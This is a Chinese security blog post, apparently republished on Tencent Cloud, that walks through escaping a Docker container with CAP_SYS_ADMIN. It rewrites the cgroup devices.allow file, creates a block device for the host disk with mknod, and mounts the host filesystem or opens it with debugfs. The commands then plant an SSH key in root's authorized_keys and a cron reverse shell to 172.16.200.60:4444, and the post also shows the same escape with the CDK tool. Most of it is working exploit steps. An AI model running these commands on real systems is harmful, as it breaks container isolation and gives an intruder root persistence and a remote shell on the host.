前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CAP_SYS_ADMIN之重写devices.allow进行容器逃逸

CAP_SYS_ADMIN之重写devices.allow进行容器逃逸

作者头像
谢公子
发布2023-09-01 09:45:04
4220
发布2023-09-01 09:45:04
举报
文章被收录于专栏:谢公子学安全谢公子学安全

当容器具有SYS_ADMIN的Capability的话,则可以进行容器逃逸。它允许大量的特权操作,包括mount文件系统,交换空间,还有对各种设备的操作以及系统调试相关的调用。

环境搭建

执行如下命令启动存在漏洞的容器环境,在赋予sys_admin权限的同时,需要关掉安全组apparmor设置

代码语言:javascript
复制
docker run -d -P --cap-add=cap_sys_admin --security-opt apparmor=unconfined --name=test nginx:latest

在容器中使用cdk进行检测,可以看到容器中多了CAP_SYS_ADMIN的Capability

也可以手动检测Capability

代码语言:javascript
复制
cat /proc/self/status | grep CapEff
capsh --decode=00000000a82425fb

重写devices.allow进行容器逃逸

devices子系统用于配制允许或者阻止cgroup中的task访问某个设备,起到黑白名单的作用,其中包括devices.allow、devices.deny、devices.list。本次逃逸方式需要用到需要用到devices.allow文件,该文件记录该cgroup中能够访问的设备列表

  • type表示类型,可以为 a(all), c(char), b(block)
  • major:minor 代表设备编号,两个标号都可以用代替表示所有,比如:*代表所有的设备
  • accss表示访问方式,可以为r(read),w(write), m(mknod)的组合

在容器内挂载宿主机cgroup的devices

代码语言:javascript
复制
#-t指定挂载的类型,-o指定挂载的选项
mkdir /tmp/test && mount -t cgroup -o devices devices /tmp/test

在容器内查找容器的ID,并且切换到该ID对应的目录下,设置容器允许访问所有类型设备,即devices.allow文件值为a。

代码语言:javascript
复制
#查找容器的ID
cat /proc/self/cgroup | grep docker | head -1 | sed 's/.*\/docker\/\(.*\)/\1/g'
#切换到ID对应的目录下
cd /tmp/test/system.slice/容器ID/
#设置容器允许访问所有类型设备
echo a > devices.allow

接下来需要获取当前容器的node号和文件系统类型,由于容器内的/etc/hosts、/etc/resolv.conf、/etc/hostname这三个文件是默认从宿主机挂载进容器的,所以在他们的挂载信息内很容易能获取到主设备号ID。

执行如下命令查看/etc目录的node号和文件系统类型。

代码语言:javascript
复制
cat /proc/self/mountinfo | grep /etc | awk '{print $3,$8}' | head -1

在根目录下执行如下命令创建设备文件host

代码语言:javascript
复制
mknod host b 252 5

然后就可以对宿主机进行文件读写操作了,后续操作需要看容器是什么文件系统。

如果是xfs文件系统,则需要执行如下命令挂载设备文件host

代码语言:javascript
复制
#挂载设备文件host到/tmp/test2
mkdir /tmp/test2 && mount host /tmp/test2

执行如下命令写入SSH公钥进行免密登录

代码语言:javascript
复制
#切换到挂载的目录
cd /tmp/test2/root/.ssh/
#写入SSH公钥
echo "公钥内容" >> /tmp/test2/root/.ssh/authorized_keys

然后就可以免密登录了

执行如下命令写入计划任务反弹shell

代码语言:javascript
复制
#切换到挂载的目录
cd /tmp/test2/var/spool/cron
#写入反弹shell的命令
echo "*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/172.16.200.60/4444 0>&1" > root

注:如果宿主机是Ubuntu系统的话,计划任务反弹shell会有问题。这是Ubuntu计划任务反弹shell的问题。

最后利用完之后,可以执行如下命令清除挂载和删除设备文件host

代码语言:javascript
复制
#取消host挂载
umount host
#删除host设备文件
rm host
#取消devices挂载
umount devices

如果是ext2/ext3/ext4文件系统,则可以直接执行如下命令进行调试即可对宿主机进行文件读写操作。

代码语言:javascript
复制
debugfs -w host

但是通过debugfs进行调试使用write命令将容器的文件复制到宿主机时会出现问题,虽然在debugfs界面查看是正常的

代码语言:javascript
复制
write /tmp/authorized_keys /root/.ssh/authorized_keys

但是在宿主机查看公钥文件时可以看到,其权限信息是乱的

并且也无法查看和删除通过debugfs界面上传的文件

也可以使用CDK来进行漏洞利用,但是需要目标是XFS文件系统。使用CDK执行如下命令进行利用

代码语言:javascript
复制
#执行rewrite-cgroup-devices逃逸
./cdk run rewrite-cgroup-devices

debugfs -w cdk_mknod_result
#执行?可以看到有哪些命令

可以执行cat ls等命令。需要注意的是,读取和查看的目录或文件都需要是绝对路径。

但是echo命令不存在,无法通过echo命令写入公钥,也无法写入计划任务反弹shell。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-08-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 谢公子学安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档